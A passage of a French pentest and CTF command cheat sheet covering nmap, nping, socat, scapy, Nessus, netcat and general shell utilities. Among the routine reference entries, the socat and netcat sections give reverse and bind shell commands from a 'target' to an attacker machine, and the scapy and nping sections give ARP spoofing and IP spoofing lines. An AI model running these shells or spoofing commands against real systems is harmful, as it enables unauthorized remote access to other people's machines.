<code>nmap -sU IP</code>	Scan UDP (plus lent, nécessite root)
<code>nmap -sS IP</code>	Scan SYN (furtif, nécessite root)
<code>nmap -A IP</code>	Mode agressif : OS, versions, scripts, traceroute
<code>nmap -O IP</code>	Détection du système d'exploitation
<code>nmap --script=vuln IP</code>	Recherche de vulnérabilités connues
<code>nmap --script=http-enum IP</code>	Enumération des répertoires HTTP
<code>nmap -iL hosts.txt</code>	Scan d'une liste d'hôtes depuis un fichier
<code>nmap -Pn IP</code>	Ignore la découverte d'hôtes
<code>nmap -T4 IP</code>	Timing rapide (T0=paranoid, T5=insane)
<code>nmap 192.168.1.0/24</code>	Scan d'un sous-réseau entier

Exemples :

<code>nmap -sC -sV -oN initial.txt 10.10.10.10</code>	# Scan initial classique CTF
<code>nmap -p- --min-rate 5000 -oN allports.txt 10.10.10.10</code>	# Tous les ports rapidement
<code>nmap --script=vuln -p 80,443 10.10.10.10</code>	# Recherche des vulnérabilités web

11. NPING — TEST DE PAQUETS RÉSEAU

nping — Génération et analyse de paquets

Outil de génération de paquets réseau avancé (inclus avec Nmap). Similaire à ping mais très flexible.

Commande / Option	Description
<code>nping IP</code>	Envoi de paquets TCP par défaut (port 80)
<code>nping --tcp -p 80,443 IP</code>	Paquets TCP vers des ports spécifiques
<code>nping --udp -p 53 IP</code>	Paquets UDP (ex: DNS port 53)
<code>nping --icmp IP</code>	Paquets ICMP echo (comme ping)
<code>nping --arp IP</code>	Paquets ARP (réseau local)
<code>nping --tcp --flags SYN IP</code>	Envoie des paquets SYN seulement
<code>nping -c 5 IP</code>	Envoie 5 paquets seulement
<code>nping --delay 1s IP</code>	Délai de 1 seconde entre chaque paquet
<code>nping --rate 10 IP</code>	10 paquets par seconde
<code>nping --data-string "HELLO" IP</code>	Envoie des données personnalisées
<code>nping --ttl 64 IP</code>	Définit le TTL des paquets
<code>nping -S 192.168.1.100 IP</code>	Usurpe une adresse IP source (root requis)

Exemples :

```
sudo nping --tcp -p 22 --flags SYN 10.10.10.10 # Test SYN sur port SSH
sudo nping --icmp -c 3 10.10.10.10 # 3 pings ICMP
sudo nping --udp -p 53 -c 2 8.8.8.8 # Test connectivité DNS UDP
```


12. SOCAT — COUTEAU SUISSE RÉSEAU

socat — Relais de données bidirectionnel

Outil réseau très puissant pour créer des connexions entre deux points (TCP, UDP, sockets, fichiers). Idéal pour les shells inversés, tunnels et relais.

Commande / Option	Description
<code>socat TCP-LISTEN:PORT, reuseaddr, fork -</code>	Ecoute sur un port TCP et affiche les données
<code>socat - TCP:IP:PORT</code>	Se connecte à une IP:PORT
<code>socat TCP-LISTEN:4444, reuseaddr EXEC:/bin/bash</code>	Shell bind (écoute + exécute bash)
<code>socat TCP:IP:4444 EXEC:/bin/bash</code>	Shell inversé vers une machine distante
<code>socat TCP-LISTEN:443, reuseaddr, fork TCP:IP:80</code>	Relais de port (port forwarding)
<code>socat -d -d ...</code>	Mode debug (affiche les informations de connexion)
<code>socat STDIO SSL:IP:PORT, verify=0</code>	Connexion SSL sans vérification de certificat
<code>socat UDP-LISTEN:53, reuseaddr -</code>	Ecoute UDP sur port 53

Exemples :

<code># Machine attaquante (écoute) :</code>
<code>socat TCP-LISTEN:4444, reuseaddr - # Ecoute sur port 4444</code>
<code># Machine cible (reverse shell) :</code>
<code>socat TCP:10.10.10.10:4444 EXEC:/bin/bash,pty,stderr,setsid # Shell inversé stable</code>

13. SCAPY — MANIPULATION DE PAQUETS RÉSEAU

scapy — Forge et analyse de paquets

Outil Python interactif pour créer, envoyer, capturer et analyser des paquets réseau. Très utilisé en tests d'intrusion.

Commande / Option	Description
scapy	Lance l'interface interactive Python (root recommandé)
sudo pip3 install scapy	Installation via pip

Exemples :

```
sudo scapy # Lancer Scapy en mode interactif
>>> pkt = IP(dst='8.8.8.8')/ICMP() # Crée un paquet IP+ICMP
>>> sr1(pkt) # Envoie et attend la réponse
>>> pkt = IP(dst='10.10.10.10')/TCP(dport=80, flags='S') # Paquet SYN
>>> pkts = sniff(iface='eth0', count=10) # Capture 10 paquets sur eth0
>>> wrpcap('capture.pcap', pkts) # Sauvegarde en fichier pcap
>>> send(ARP(op=2, pdst='VICTIME', psrc='GATEWAY')) # ARP Spoofing
```

14. NESSUS — SCAN DE VULNÉRABILITÉS

nessus — Scanner de vulnérabilités

Outil professionnel de scan de vulnérabilités par Tenable. Interface web + ligne de commande (nessuscli).

Commande / Option	Description
<code>sudo systemctl start nessusd</code>	Démarrer le service Nessus
<code>sudo systemctl stop nessusd</code>	Arrêter le service Nessus
<code>sudo systemctl status nessusd</code>	Vérifier l'état du service
<code>nessuscli update --all</code>	Mettre à jour les plugins Nessus
<code>nessuscli adduser</code>	Ajouter un utilisateur Nessus
<code>nessuscli fetch --challenge</code>	Obtenir le code d'activation

Exemples :

```
sudo dpkg -i Nessus-*.deb    # Installer le paquet Debian
sudo systemctl start nessusd && sudo systemctl enable nessusd    # Démarrer
et activer
# Interface web : https://localhost:8834
curl -k -u 'user:pass' -X POST 'https://localhost:8834/scans'    # Lancer un
scan via l'API REST
```

15. COMMANDES AVANCÉES & AUTOMATISATION

cron / crontab – Tâches planifiées

Planifie l'exécution automatique de commandes ou scripts à des intervalles réguliers.

Commande / Option	Description
<code>crontab -l</code>	Affiche les tâches planifiées de l'utilisateur courant
<code>crontab -e</code>	Edite les tâches planifiées
<code>cat /etc/crontab</code>	Tâches système
<code>ls /etc/cron.d/</code>	Scripts cron par application

Exemples :

```
*/5 * * * * /script.sh    # Toutes les 5 minutes
0 2 * * * /backup.sh      # Tous les jours à 2h du matin
```

env / export – Variables d'environnement

Gère les variables d'environnement du shell (PATH, HOME, etc.).

Commande / Option	Description
<code>env</code>	Affiche toutes les variables d'environnement
<code>echo \$VARIABLE</code>	Affiche la valeur d'une variable
<code>export MA_VAR="valeur"</code>	Crée ou modifie une variable d'environnement
<code>unset MA_VAR</code>	Supprime une variable

Exemples :

```
export PATH=$PATH:/opt/tools/bin    # Ajoute un dossier au PATH
```

nc (netcat) – Couteau suisse TCP/UDP

Outil de communication réseau basique pour connexions TCP/UDP, transferts de fichiers et shells.

Commande / Option	Description
<code>nc -lvp PORT</code>	Ecoute sur un port (listener)
<code>nc IP PORT</code>	Se connecte à une IP et un port

<code>nc -zv IP PORT</code>	Teste si un port est ouvert (scan)
-----------------------------	------------------------------------

Exemples :

<code>nc -lvnp 4444 # Ecoute sur la machine attaquante</code>
<code>nc 10.10.10.10 4444 -e /bin/bash # Connexion avec shell depuis la cible</code>

strace / lsof – Inspection des processus

Outils pour surveiller les appels système et les fichiers ouverts par les processus.

Commande / Option	Description
<code>strace commande</code>	Trace les appels système d'une commande
<code>strace -p PID</code>	Attache à un processus déjà en cours
<code>lsof -i</code>	Connexions réseau ouvertes
<code>lsof -i :80</code>	Quel processus utilise le port 80
<code>lsof -u alice</code>	Fichiers ouverts par l'utilisateur alice

Exemples :

<code>lsof -i TCP -nP grep LISTEN # Ports TCP en écoute avec PID</code>

tmux – Terminal multiplexeur

Permet de gérer plusieurs sessions et fenêtres dans un seul terminal.

Commande / Option	Description
<code>tmux</code>	Nouvelle session
<code>tmux new -s nom</code>	Nouvelle session nommée
<code>tmux ls</code>	Liste les sessions actives
<code>tmux attach -t nom</code>	Reprendre une session

Exemples :

<code>tmux new -s pentest # Nouvelle session nommée 'pentest'</code>
--

alias – Raccourcis de commandes

Crée des raccourcis pour des commandes longues ou fréquentes.

Commande / Option	Description
<code>alias nom='commande'</code>	Crée un alias temporaire
<code>alias</code>	Liste tous les alias actifs

unalias nom	Supprime un alias
-------------	-------------------

Exemples :

alias ll='ls -lah' # ll devient un raccourci pour ls -lah
alias update='sudo apt update && sudo apt upgrade -y' # Mise à jour rapide

Boucles bash – Automatisation

Permet de répéter des commandes en boucle pour automatiser des tâches.

Commande / Option	Description
for i in {1..10}; do echo \$i; done	Boucle de 1 à 10
for f in *.txt; do echo \$f; done	Itère sur des fichiers
while true; do commande; sleep 5; done	Boucle infinie avec pause
while read line; do echo \$line; done < fichier	Lit un fichier ligne par ligne

Exemples :

for ip in 192.168.1.{1..254}; do ping -c1 -W1 \$ip &>/dev/null && echo "\$ip UP"; done # Scan ping réseau local
--

